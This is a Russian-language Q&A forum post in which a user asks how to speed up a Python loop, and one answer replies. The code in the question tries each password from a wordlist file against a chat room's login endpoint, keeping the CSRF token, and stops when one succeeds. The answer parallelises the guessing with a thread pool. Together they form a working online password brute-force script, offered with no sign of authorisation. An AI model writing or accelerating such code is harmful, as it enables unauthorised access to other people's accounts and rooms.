Как ускорить цикл for c requests?
data = open('data.txt').readlines()
data = map(lambda s: s.strip(), data)
data = list(data)
for i in data:
payload_login_in_room = {
'type': 'auto',
'room_id': str(room_id),
'server_id': '0',
'browser': 'chrome',
'browser_detail[name]': 'chrome',
'browser_detail[version]': '101',
'browser_detail[chrome]': 'true',
'flash': '0',
'mobile': '0',
'mse': '1',
'password': str(i),
'_token': str(csrf_token),
'_v2': '1'
}
auth_in_room = s.post(url=auth_url_in_room, headers=headers, data=payload_login_in_room)
check_auth_in_room = auth_in_room.text.split('"success":')[1].split('"')[0]
print(f"Не удача: {i}")
if check_auth_in_room == "true,":
print(f"Пароль: {i}")
break
Как можно ускорить работу этого участка кода?
Ответы (1 шт):
Автор решения: vadim vaduxa
→ Ссылка
dt = [{'type': 'auto',
'room_id': str(room_id),
'server_id': '0',
'browser': 'chrome',
'browser_detail[name]': 'chrome',
'browser_detail[version]': '101',
'browser_detail[chrome]': 'true',
'flash': '0',
'mobile': '0',
'mse': '1',
'password': str(i),
'_token': str(csrf_token),
'_v2': '1'
} for i in data]
import concurrent.futures
with concurrent.futures.ThreadPoolExecutor(max_workers=4) as e:
futures = {e.submit(s.post, url=auth_url_in_room, headers=headers, data=d): d for d in dt}
for f in concurrent.futures.as_completed(futures):
d = futures[f]
try:
auth_in_room = f.result()
except Exception as exc:
print(f"Не удача: {d['password']}")
else:
check_auth_in_room = auth_in_room.text.split('"success":')[1].split('"')[0]
if check_auth_in_room == "true,":
print(f"Пароль: {d['password']}")
break